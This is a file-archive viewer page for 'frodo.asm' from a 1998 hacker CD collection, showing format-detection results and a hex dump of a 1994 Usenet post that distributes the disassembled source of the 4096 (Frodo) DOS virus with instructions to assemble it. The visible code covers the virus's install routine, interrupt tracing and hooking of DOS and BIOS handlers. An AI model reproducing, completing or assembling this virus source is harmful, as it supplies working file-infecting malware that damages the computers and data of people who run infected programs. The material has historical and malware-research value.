The Hacker's Encyclopedia 1998

home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / frodo.asm < prev next >
Mailbox/MIME Entity | 2003-06-11 | 83.6 KB
open in:
MacOS 8.1 extracted |
Win98 extracted |
DOS extracted
view JSON data |
view as text

This file was processed as: Mailbox/MIME Entity (archive/mbox).

You can browse this item here: frodo.asm
Confidence	Program	Detection	Match Type	Support
`100%`	dexvert	Mailbox/MIME Entity `(archive/mbox)`	magic	Supported
`100%`	dexvert	Internet Message Format `(text/imf)`	magic	Supported
`100%`	dexvert	Assembly Source File `(text/asm)`	magic	Supported
`1%`	dexvert	freeCAD assembly `(other/freeCADAssembly)`	ext	Unsupported
`1%`	dexvert	Text File `(text/txt)`	fallback	Supported
`100%`	file	Mailbox text, 1st line "From netcom.com!ix.netcom.com!howland.reston.ans.net!usc!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.", ASCII text, with CRLF, LF line terminators	default
`100%`	TrID	E-Mail message (Var. 2)	default
`100%`	perlTextCheck	Likely Text (Perl)	default
`100%`	siegfried	x-fmt/111 Plain Text File	default
`100%`	detectItEasy	Format: plain text[LF]	default (weak)
`100%`	xdgMime	application/mbox	default
hex view
+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 6e 65 74 | 63 6f 6d 2e 63 6f 6d 21 |From net|com.com!|
|00000010| 69 78 2e 6e 65 74 63 6f | 6d 2e 63 6f 6d 21 68 6f |ix.netco|m.com!ho|
|00000020| 77 6c 61 6e 64 2e 72 65 | 73 74 6f 6e 2e 61 6e 73 |wland.re|ston.ans|
|00000030| 2e 6e 65 74 21 75 73 63 | 21 62 6c 6f 6f 6d 2d 62 |.net!usc|!bloom-b|
|00000040| 65 61 63 6f 6e 2e 6d 69 | 74 2e 65 64 75 21 75 68 |eacon.mi|t.edu!uh|
|00000050| 6f 67 2e 6d 69 74 2e 65 | 64 75 21 72 75 74 67 65 |og.mit.e|du!rutge|
|00000060| 72 73 21 65 6e 67 72 2e | 6f 72 73 74 2e 65 64 75 |rs!engr.|orst.edu|
|00000070| 21 67 61 69 61 2e 75 63 | 73 2e 6f 72 73 74 2e 65 |!gaia.uc|s.orst.e|
|00000080| 64 75 21 6d 79 68 6f 73 | 74 2e 73 75 62 64 6f 6d |du!myhos|t.subdom|
|00000090| 61 69 6e 2e 64 6f 6d 61 | 69 6e 21 63 6c 61 69 72 |ain.doma|in!clair|
|000000a0| 20 54 75 65 20 4e 6f 76 | 20 32 39 20 30 39 3a 34 | Tue Nov| 29 09:4|
|000000b0| 39 3a 35 36 20 31 39 39 | 34 0a 58 72 65 66 3a 20 |9:56 199|4.Xref: |
|000000c0| 6e 65 74 63 6f 6d 2e 63 | 6f 6d 20 61 6c 74 2e 63 |netcom.c|om alt.c|
|000000d0| 6f 6d 70 2e 76 69 72 75 | 73 3a 34 38 35 0a 50 61 |omp.viru|s:485.Pa|
|000000e0| 74 68 3a 20 6e 65 74 63 | 6f 6d 2e 63 6f 6d 21 69 |th: netc|om.com!i|
|000000f0| 78 2e 6e 65 74 63 6f 6d | 2e 63 6f 6d 21 68 6f 77 |x.netcom|.com!how|
|00000100| 6c 61 6e 64 2e 72 65 73 | 74 6f 6e 2e 61 6e 73 2e |land.res|ton.ans.|
|00000110| 6e 65 74 21 75 73 63 21 | 62 6c 6f 6f 6d 2d 62 65 |net!usc!|bloom-be|
|00000120| 61 63 6f 6e 2e 6d 69 74 | 2e 65 64 75 21 75 68 6f |acon.mit|.edu!uho|
|00000130| 67 2e 6d 69 74 2e 65 64 | 75 21 72 75 74 67 65 72 |g.mit.ed|u!rutger|
|00000140| 73 21 65 6e 67 72 2e 6f | 72 73 74 2e 65 64 75 21 |s!engr.o|rst.edu!|
|00000150| 67 61 69 61 2e 75 63 73 | 2e 6f 72 73 74 2e 65 64 |gaia.ucs|.orst.ed|
|00000160| 75 21 6d 79 68 6f 73 74 | 2e 73 75 62 64 6f 6d 61 |u!myhost|.subdoma|
|00000170| 69 6e 2e 64 6f 6d 61 69 | 6e 21 63 6c 61 69 72 0a |in.domai|n!clair.|
|00000180| 46 72 6f 6d 3a 20 63 6c | 61 69 72 40 6d 79 68 6f |From: cl|air@myho|
|00000190| 73 74 2e 73 75 62 64 6f | 6d 61 69 6e 2e 64 6f 6d |st.subdo|main.dom|
|000001a0| 61 69 6e 20 28 54 68 65 | 20 43 6c 61 69 72 76 6f |ain (The| Clairvo|
|000001b0| 79 61 6e 74 29 0a 4e 65 | 77 73 67 72 6f 75 70 73 |yant).Ne|wsgroups|
|000001c0| 3a 20 61 6c 74 2e 63 6f | 6d 70 2e 76 69 72 75 73 |: alt.co|mp.virus|
|000001d0| 0a 53 75 62 6a 65 63 74 | 3a 20 46 72 6f 64 6f 20 |.Subject|: Frodo |
|000001e0| 73 6f 75 72 63 65 0a 44 | 61 74 65 3a 20 32 38 20 |source.D|ate: 28 |
|000001f0| 4e 6f 76 20 31 39 39 34 | 20 30 37 3a 34 37 3a 32 |Nov 1994| 07:47:2|
|00000200| 30 20 47 4d 54 0a 4f 72 | 67 61 6e 69 7a 61 74 69 |0 GMT.Or|ganizati|
|00000210| 6f 6e 3a 20 53 74 72 69 | 6e 67 20 74 6f 20 70 75 |on: Stri|ng to pu|
|00000220| 74 20 69 6e 20 74 68 65 | 20 4f 72 67 61 6e 69 7a |t in the| Organiz|
|00000230| 61 74 69 6f 6e 20 48 65 | 61 64 65 72 0a 4c 69 6e |ation He|ader.Lin|
|00000240| 65 73 3a 20 31 38 31 34 | 0a 4d 65 73 73 61 67 65 |es: 1814|.Message|
|00000250| 2d 49 44 3a 20 3c 33 62 | 63 31 75 38 24 6d 6a 63 |-ID: <3b|c1u8$mjc|
|00000260| 40 67 61 69 61 2e 75 63 | 73 2e 6f 72 73 74 2e 65 |@gaia.uc|s.orst.e|
|00000270| 64 75 3e 0a 4e 4e 54 50 | 2d 50 6f 73 74 69 6e 67 |du>.NNTP|-Posting|
|00000280| 2d 48 6f 73 74 3a 20 74 | 65 6d 70 65 73 74 2e 72 |-Host: t|empest.r|
|00000290| 68 6e 2e 6f 72 73 74 2e | 65 64 75 0a 58 2d 4e 65 |hn.orst.|edu.X-Ne|
|000002a0| 77 73 72 65 61 64 65 72 | 3a 20 54 49 4e 20 5b 76 |wsreader|: TIN [v|
|000002b0| 65 72 73 69 6f 6e 20 31 | 2e 32 20 50 4c 32 5d 0a |ersion 1|.2 PL2].|
|000002c0| 0a 0a 5f 34 30 39 36 20 | 20 20 20 20 20 20 20 20 |.._4096 |        |
|000002d0| 20 20 73 65 67 6d 65 6e | 74 20 62 79 74 65 20 70 |  segmen|t byte p|
|000002e0| 75 62 6c 69 63 0d 0a 20 | 20 20 20 20 20 20 20 20 |ublic.. |        |
|000002f0| 20 20 20 20 20 20 20 61 | 73 73 75 6d 65 20 20 63 |       a|ssume  c|
|00000300| 73 3a 5f 34 30 39 36 2c | 20 64 73 3a 5f 34 30 39 |s:_4096,| ds:_409|
|00000310| 36 0d 0a 0d 0a 3b 20 34 | 30 39 36 20 56 69 72 75 |6....; 4|096 Viru|
|00000320| 73 0d 0a 3b 20 44 69 73 | 61 73 73 65 6d 62 6c 79 |s..; Dis|assembly|
|00000330| 20 64 6f 6e 65 20 62 79 | 20 44 61 72 6b 20 41 6e | done by| Dark An|
|00000340| 67 65 6c 20 6f 66 20 50 | 68 61 6c 63 6f 6e 2f 53 |gel of P|halcon/S|
|00000350| 6b 69 73 6d 20 66 6f 72 | 20 34 30 48 65 78 20 49 |kism for| 40Hex I|
|00000360| 73 73 75 65 20 23 39 0d | 0a 3b 20 41 73 73 65 6d |ssue #9.|.; Assem|
|00000370| 62 6c 65 20 77 69 74 68 | 20 54 41 53 4d 3b 20 74 |ble with| TASM; t|
|00000380| 68 65 20 72 65 73 75 6c | 74 61 6e 74 20 66 69 6c |he resul|tant fil|
|00000390| 65 20 73 69 7a 65 20 69 | 73 20 34 30 38 31 20 62 |e size i|s 4081 b|
|000003a0| 79 74 65 73 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |ytes....|        |
|000003b0| 20 20 20 20 20 20 20 20 | 6f 72 67 20 20 20 20 20 |        |org     |
|000003c0| 30 0d 0a 73 74 61 72 74 | 76 69 72 75 73 3a 0d 0a |0..start|virus:..|
|000003d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000003e0| 64 62 20 20 20 20 20 20 | 30 0d 0a 20 20 20 20 20 |db      |0..     |
|000003f0| 20 20 20 20 20 20 20 20 | 20 20 20 6a 6d 70 20 20 |        |   jmp  |
|00000400| 20 20 20 69 6e 73 74 61 | 6c 6c 76 69 72 75 73 0d |   insta|llvirus.|
|00000410| 0a 6f 6c 64 68 65 61 64 | 65 72 3a 20 3b 20 6f 72 |.oldhead|er: ; or|
|00000420| 69 67 69 6e 61 6c 20 31 | 43 68 20 62 79 74 65 73 |iginal 1|Ch bytes|
|00000430| 20 6f 66 20 74 68 65 20 | 63 61 72 72 69 65 72 20 | of the |carrier |
|00000440| 66 69 6c 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |file..  |        |
|00000450| 20 20 20 20 20 20 72 65 | 74 6e 0d 0a 20 20 20 20 |      re|tn..    |
|00000460| 20 20 20 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |        |    db  |
|00000470| 20 20 20 20 37 35 68 2c | 30 32 2c 34 34 68 2c 31 |    75h,|02,44h,1|
|00000480| 35 68 2c 34 36 68 2c 32 | 30 68 0d 0a 20 20 20 20 |5h,46h,2|0h..    |
|00000490| 20 20 20 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |        |    db  |
|000004a0| 20 20 20 20 27 43 6f 70 | 79 72 69 67 68 74 20 42 |    'Cop|yright B|
|000004b0| 6f 75 72 62 25 7d 69 2c | 20 49 27 0d 0a 65 6e 64 |ourb%}i,| I'..end|
|000004c0| 6f 6c 64 68 65 61 64 65 | 72 3a 0d 0a 45 58 45 66 |oldheade|r:..EXEf|
|000004d0| 6c 61 67 20 20 20 20 20 | 20 20 20 20 64 62 20 20 |lag     |    db  |
|000004e0| 20 20 20 20 20 30 30 68 | 0d 0a 20 20 20 20 20 20 |     00h|..      |
|000004f0| 20 20 20 20 20 20 20 20 | 20 20 64 62 20 20 20 20 |        |  db    |
|00000500| 20 20 30 46 45 68 2c 20 | 33 41 68 0d 0a 0d 0a 69 |  0FEh, |3Ah....i|
|00000510| 6e 74 31 3a 20 3b 20 6c | 6f 63 61 74 65 20 74 68 |nt1: ; l|ocate th|
|00000520| 65 20 42 49 4f 53 20 6f | 72 20 44 4f 53 20 65 6e |e BIOS o|r DOS en|
|00000530| 74 72 79 20 70 6f 69 6e | 74 20 66 6f 72 20 69 6e |try poin|t for in|
|00000540| 74 20 31 33 68 20 61 6e | 64 20 69 6e 74 20 32 31 |t 13h an|d int 21|
|00000550| 68 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h..     |        |
|00000560| 20 20 20 70 75 73 68 20 | 20 20 20 62 70 20 20 20 |   push |   bp   |
|00000570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000580| 20 20 20 3b 20 73 65 74 | 20 75 70 20 73 74 61 63 |   ; set| up stac|
|00000590| 6b 20 66 72 61 6d 65 0d | 0a 20 20 20 20 20 20 20 |k frame.|.       |
|000005a0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|000005b0| 20 62 70 2c 73 70 0d 0a | 20 20 20 20 20 20 20 20 | bp,sp..|        |
|000005c0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|000005d0| 61 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax..    |        |
|000005e0| 20 20 20 20 63 6d 70 20 | 20 20 20 20 77 6f 72 64 |    cmp |    word|
|000005f0| 20 70 74 72 20 5b 62 70 | 2b 34 5d 2c 30 43 30 30 | ptr [bp|+4],0C00|
|00000600| 30 68 20 20 3b 20 69 6e | 20 42 49 4f 53 3f 0d 0a |0h  ; in| BIOS?..|
|00000610| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000620| 6a 6e 62 20 20 20 20 20 | 66 6f 75 6e 64 6f 72 69 |jnb     |foundori|
|00000630| 67 69 6e 74 20 20 20 20 | 20 20 20 20 20 20 20 20 |gint    |        |
|00000640| 3b 20 6e 6f 70 65 2c 20 | 68 61 76 65 6e 27 74 20 |; nope, |haven't |
|00000650| 66 6f 75 6e 64 20 69 74 | 0d 0a 20 20 20 20 20 20 |found it|..      |
|00000660| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00000670| 20 20 61 78 2c 63 73 3a | 44 4f 53 73 65 67 6d 65 |  ax,cs:|DOSsegme|
|00000680| 6e 74 20 20 20 20 20 20 | 20 20 3b 20 69 6e 20 44 |nt      |  ; in D|
|00000690| 4f 53 3f 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |OS?..   |        |
|000006a0| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 5b 62 70 |     cmp|     [bp|
|000006b0| 2b 34 5d 2c 61 78 0d 0a | 20 20 20 20 20 20 20 20 |+4],ax..|        |
|000006c0| 20 20 20 20 20 20 20 20 | 6a 62 65 20 20 20 20 20 |        |jbe     |
|000006d0| 66 6f 75 6e 64 6f 72 69 | 67 69 6e 74 0d 0a 65 78 |foundori|gint..ex|
|000006e0| 69 74 69 6e 74 31 3a 0d | 0a 20 20 20 20 20 20 20 |itint1:.|.       |
|000006f0| 20 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |        | pop    |
|00000700| 20 61 78 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | ax..   |        |
|00000710| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 62 70 0d |     pop|     bp.|
|00000720| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000730| 20 69 72 65 74 0d 0a 66 | 6f 75 6e 64 6f 72 69 67 | iret..f|oundorig|
|00000740| 69 6e 74 3a 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |int:..  |        |
|00000750| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 62 79 |      cm|p     by|
|00000760| 74 65 20 70 74 72 20 63 | 73 3a 74 72 61 63 65 6d |te ptr c|s:tracem|
|00000770| 6f 64 65 2c 31 0d 0a 20 | 20 20 20 20 20 20 20 20 |ode,1.. |        |
|00000780| 20 20 20 20 20 20 20 6a | 7a 20 20 20 20 20 20 74 |       j|z      t|
|00000790| 72 61 63 65 6d 6f 64 65 | 31 0d 0a 20 20 20 20 20 |racemode|1..     |
|000007a0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000007b0| 20 20 20 61 78 2c 5b 62 | 70 2b 34 5d 20 20 20 20 |   ax,[b|p+4]    |
|000007c0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 73 61 76 |        |   ; sav|
|000007d0| 65 20 73 65 67 6d 65 6e | 74 20 6f 66 20 65 6e 74 |e segmen|t of ent|
|000007e0| 72 79 20 70 6f 69 6e 74 | 0d 0a 20 20 20 20 20 20 |ry point|..      |
|000007f0| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00000800| 20 20 77 6f 72 64 20 70 | 74 72 20 63 73 3a 6f 72 |  word p|tr cs:or|
|00000810| 69 67 69 6e 74 73 2b 32 | 2c 61 78 0d 0a 20 20 20 |igints+2|,ax..   |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00000830| 20 20 20 20 20 61 78 2c | 5b 62 70 2b 32 5d 20 20 |     ax,|[bp+2]  |
|00000840| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 73 |        |     ; s|
|00000850| 61 76 65 20 6f 66 66 73 | 65 74 20 6f 66 20 65 6e |ave offs|et of en|
|00000860| 74 72 79 20 70 6f 69 6e | 74 0d 0a 20 20 20 20 20 |try poin|t..     |
|00000870| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00000880| 20 20 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 6f |   word |ptr cs:o|
|00000890| 72 69 67 69 6e 74 73 2c | 61 78 0d 0a 20 20 20 20 |rigints,|ax..    |
|000008a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 62 20 20 |        |    jb  |
|000008b0| 20 20 20 20 66 69 6e 69 | 73 68 69 6e 74 31 0d 0a |    fini|shint1..|
|000008c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000008d0| 70 6f 70 20 20 20 20 20 | 61 78 0d 0a 20 20 20 20 |pop     |ax..    |
|000008e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |        |    pop |
|000008f0| 20 20 20 20 62 70 0d 0a | 20 20 20 20 20 20 20 20 |    bp..|        |
|00000900| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00000910| 73 73 2c 63 73 3a 73 61 | 76 65 73 73 20 20 20 20 |ss,cs:sa|vess    |
|00000920| 20 20 20 20 20 20 20 20 | 3b 20 72 65 73 74 6f 72 |        |; restor|
|00000930| 65 20 74 68 65 20 73 74 | 61 63 6b 20 74 6f 20 69 |e the st|ack to i|
|00000940| 74 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ts..    |        |
|00000950| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 73 70 2c 63 |    mov |    sp,c|
|00000960| 73 3a 73 61 76 65 73 70 | 20 20 20 20 20 20 20 20 |s:savesp|        |
|00000970| 20 20 20 20 3b 20 6f 72 | 69 67 69 6e 61 6c 20 73 |    ; or|iginal s|
|00000980| 74 61 74 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |tate..  |        |
|00000990| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 6c |      mo|v     al|
|000009a0| 2c 63 73 3a 73 61 76 65 | 49 4d 52 20 20 20 20 20 |,cs:save|IMR     |
|000009b0| 20 20 20 20 20 20 3b 20 | 52 65 73 74 6f 72 65 20 |      ; |Restore |
|000009c0| 49 4d 52 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |IMR..   |        |
|000009d0| 20 20 20 20 20 6f 75 74 | 20 20 20 20 20 32 31 68 |     out|     21h|
|000009e0| 2c 61 6c 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,al     |        |
|000009f0| 20 20 20 20 20 3b 20 28 | 65 6e 61 62 6c 65 20 69 |     ; (|enable i|
|00000a00| 6e 74 65 72 72 75 70 74 | 73 29 0d 0a 20 20 20 20 |nterrupt|s)..    |
|00000a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6d 70 20 |        |    jmp |
|00000a20| 20 20 20 20 73 65 74 76 | 69 72 75 73 69 6e 74 73 |    setv|irusints|
|00000a30| 0d 0a 66 69 6e 69 73 68 | 69 6e 74 31 3a 0d 0a 20 |..finish|int1:.. |
|00000a40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 61 |        |       a|
|00000a50| 6e 64 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |nd     w|ord ptr |
|00000a60| 5b 62 70 2b 36 5d 2c 30 | 46 45 46 46 68 20 20 3b |[bp+6],0|FEFFh  ;|
|00000a70| 20 74 75 72 6e 20 6f 66 | 66 20 74 72 61 70 20 66 | turn of|f trap f|
|00000a80| 6c 61 67 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |lag..   |        |
|00000a90| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 6c 2c |     mov|     al,|
|00000aa0| 63 73 3a 73 61 76 65 49 | 4d 52 20 20 20 20 20 20 |cs:saveI|MR      |
|00000ab0| 20 20 20 20 20 3b 20 61 | 6e 64 20 72 65 73 74 6f |     ; a|nd resto|
|00000ac0| 72 65 20 49 4d 52 0d 0a | 20 20 20 20 20 20 20 20 |re IMR..|        |
|00000ad0| 20 20 20 20 20 20 20 20 | 6f 75 74 20 20 20 20 20 |        |out     |
|00000ae0| 32 31 68 2c 61 6c 0d 0a | 20 20 20 20 20 20 20 20 |21h,al..|        |
|00000af0| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 20 20 20 20 |        |jmp     |
|00000b00| 73 68 6f 72 74 20 65 78 | 69 74 69 6e 74 31 0d 0a |short ex|itint1..|
|00000b10| 74 72 61 63 65 6d 6f 64 | 65 31 3a 0d 0a 20 20 20 |tracemod|e1:..   |
|00000b20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 64 65 63 |        |     dec|
|00000b30| 20 20 20 20 20 62 79 74 | 65 20 70 74 72 20 63 73 |     byt|e ptr cs|
|00000b40| 3a 69 6e 73 74 72 75 63 | 74 69 6f 6e 73 74 6f 74 |:instruc|tionstot|
|00000b50| 72 61 63 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |race..  |        |
|00000b60| 20 20 20 20 20 20 6a 6e | 7a 20 20 20 20 20 65 78 |      jn|z     ex|
|00000b70| 69 74 69 6e 74 31 0d 0a | 20 20 20 20 20 20 20 20 |itint1..|        |
|00000b80| 20 20 20 20 20 20 20 20 | 61 6e 64 20 20 20 20 20 |        |and     |
|00000b90| 77 6f 72 64 20 70 74 72 | 20 5b 62 70 2b 36 5d 2c |word ptr| [bp+6],|
|00000ba0| 30 46 45 46 46 68 20 20 | 3b 20 74 75 72 6e 20 6f |0FEFFh  |; turn o|
|00000bb0| 66 66 20 74 72 61 70 20 | 66 6c 61 67 0d 0a 20 20 |ff trap |flag..  |
|00000bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00000bd0| 6c 6c 20 20 20 20 73 61 | 76 65 72 65 67 73 0d 0a |ll    sa|veregs..|
|00000be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000bf0| 63 61 6c 6c 20 20 20 20 | 73 77 61 70 76 69 72 69 |call    |swapviri|
|00000c00| 6e 74 32 31 20 20 20 20 | 20 20 20 20 20 20 20 20 |nt21    |        |
|00000c10| 3b 20 72 65 73 74 6f 72 | 65 20 6f 72 69 67 69 6e |; restor|e origin|
|00000c20| 61 6c 20 69 6e 74 0d 0a | 20 20 20 20 20 20 20 20 |al int..|        |
|00000c30| 20 20 20 20 20 20 20 20 | 6c 64 73 20 20 20 20 20 |        |lds     |
|00000c40| 64 78 2c 64 77 6f 72 64 | 20 70 74 72 20 63 73 3a |dx,dword| ptr cs:|
|00000c50| 6f 6c 64 69 6e 74 31 20 | 3b 20 32 31 68 20 26 20 |oldint1 |; 21h & |
|00000c60| 69 6e 74 20 31 20 68 61 | 6e 64 6c 65 72 73 0d 0a |int 1 ha|ndlers..|
|00000c70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000c80| 6d 6f 76 20 20 20 20 20 | 61 6c 2c 31 0d 0a 20 20 |mov     |al,1..  |
|00000c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 61 |        |      ca|
|00000ca0| 6c 6c 20 20 20 20 73 65 | 74 76 65 63 74 0d 0a 20 |ll    se|tvect.. |
|00000cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 |        |       c|
|00000cc0| 61 6c 6c 20 20 20 20 72 | 65 73 74 6f 72 65 72 65 |all    r|estorere|
|00000cd0| 67 73 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |gs..    |        |
|00000ce0| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 73 68 6f 72 |    jmp |    shor|
|00000cf0| 74 20 66 69 6e 69 73 68 | 69 6e 74 31 0d 0a 0d 0a |t finish|int1....|
|00000d00| 67 65 74 69 6e 74 3a 0d | 0a 20 20 20 20 20 20 20 |getint:.|.       |
|00000d10| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 |        | push   |
|00000d20| 20 64 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | ds..   |        |
|00000d30| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 73 69 0d |     pus|h    si.|
|00000d40| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000d50| 20 78 6f 72 20 20 20 20 | 20 73 69 2c 73 69 20 20 | xor    | si,si  |
|00000d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000d70| 20 3b 20 63 6c 65 61 72 | 20 73 69 0d 0a 20 20 20 | ; clear| si..   |
|00000d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00000d90| 20 20 20 20 20 64 73 2c | 73 69 20 20 20 20 20 20 |     ds,|si      |
|00000da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 64 |        |     ; d|
|00000db0| 73 2d 3e 69 6e 74 65 72 | 72 75 70 74 20 74 61 62 |s->inter|rupt tab|
|00000dc0| 6c 65 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |le..    |        |
|00000dd0| 20 20 20 20 78 6f 72 20 | 20 20 20 20 61 68 2c 61 |    xor |    ah,a|
|00000de0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00000df0| 20 20 20 20 3b 20 63 62 | 77 20 77 6f 75 6c 64 20 |    ; cb|w would |
|00000e00| 62 65 20 62 65 74 74 65 | 72 21 3f 0d 0a 20 20 20 |be bette|r!?..   |
|00000e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|00000e20| 20 20 20 20 20 73 69 2c | 61 78 0d 0a 20 20 20 20 |     si,|ax..    |
|00000e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 73 68 6c 20 |        |    shl |
|00000e40| 20 20 20 20 73 69 2c 31 | 20 20 20 20 20 20 20 20 |    si,1|        |
|00000e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 63 6f |        |    ; co|
|00000e60| 6e 76 65 72 74 20 69 6e | 74 20 23 20 74 6f 20 6f |nvert in|t # to o|
|00000e70| 66 66 73 65 74 20 69 6e | 0d 0a 20 20 20 20 20 20 |ffset in|..      |
|00000e80| 20 20 20 20 20 20 20 20 | 20 20 73 68 6c 20 20 20 |        |  shl   |
|00000e90| 20 20 73 69 2c 31 20 20 | 20 20 20 20 20 20 20 20 |  si,1  |        |
|00000ea0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 69 6e 74 65 |        |  ; inte|
|00000eb0| 72 72 75 70 74 20 74 61 | 62 6c 65 20 28 69 6e 74 |rrupt ta|ble (int|
|00000ec0| 20 23 20 78 20 34 29 0d | 0a 20 20 20 20 20 20 20 | # x 4).|.       |
|00000ed0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00000ee0| 20 62 78 2c 5b 73 69 5d | 20 20 20 20 20 20 20 20 | bx,[si]|        |
|00000ef0| 20 20 20 20 20 20 20 20 | 20 3b 20 65 73 3a 62 78 |        | ; es:bx|
|00000f00| 20 3d 20 69 6e 74 65 72 | 72 75 70 74 20 76 65 63 | = inter|rupt vec|
|00000f10| 74 6f 72 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |tor..   |        |
|00000f20| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 65 73 2c |     mov|     es,|
|00000f30| 5b 73 69 2b 32 5d 20 20 | 20 20 20 20 20 20 20 20 |[si+2]  |        |
|00000f40| 20 20 20 20 20 3b 20 67 | 65 74 20 6f 6c 64 20 69 |     ; g|et old i|
|00000f50| 6e 74 65 72 72 75 70 74 | 20 76 65 63 74 6f 72 0d |nterrupt| vector.|
|00000f60| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00000f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000f90| 20 3b 20 73 61 76 65 20 | 33 20 62 79 74 65 73 20 | ; save |3 bytes |
|00000fa0| 69 66 20 75 73 65 20 6c | 65 73 20 62 78 2c 5b 73 |if use l|es bx,[s|
|00000fb0| 69 5d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |i]..    |        |
|00000fc0| 20 20 20 20 70 6f 70 20 | 20 20 20 20 73 69 0d 0a |    pop |    si..|
|00000fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00000fe0| 70 6f 70 20 20 20 20 20 | 64 73 0d 0a 20 20 20 20 |pop     |ds..    |
|00000ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 72 65 74 6e |        |    retn|
|00001000| 0d 0a 0d 0a 69 6e 73 74 | 61 6c 6c 76 69 72 75 73 |....inst|allvirus|
|00001010| 3a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |:..     |        |
|00001020| 20 20 20 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 |   mov  |   word |
|00001030| 70 74 72 20 63 73 3a 73 | 74 61 63 6b 70 74 72 2c |ptr cs:s|tackptr,|
|00001040| 6f 66 66 73 65 74 20 74 | 6f 70 73 74 61 63 6b 0d |offset t|opstack.|
|00001050| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
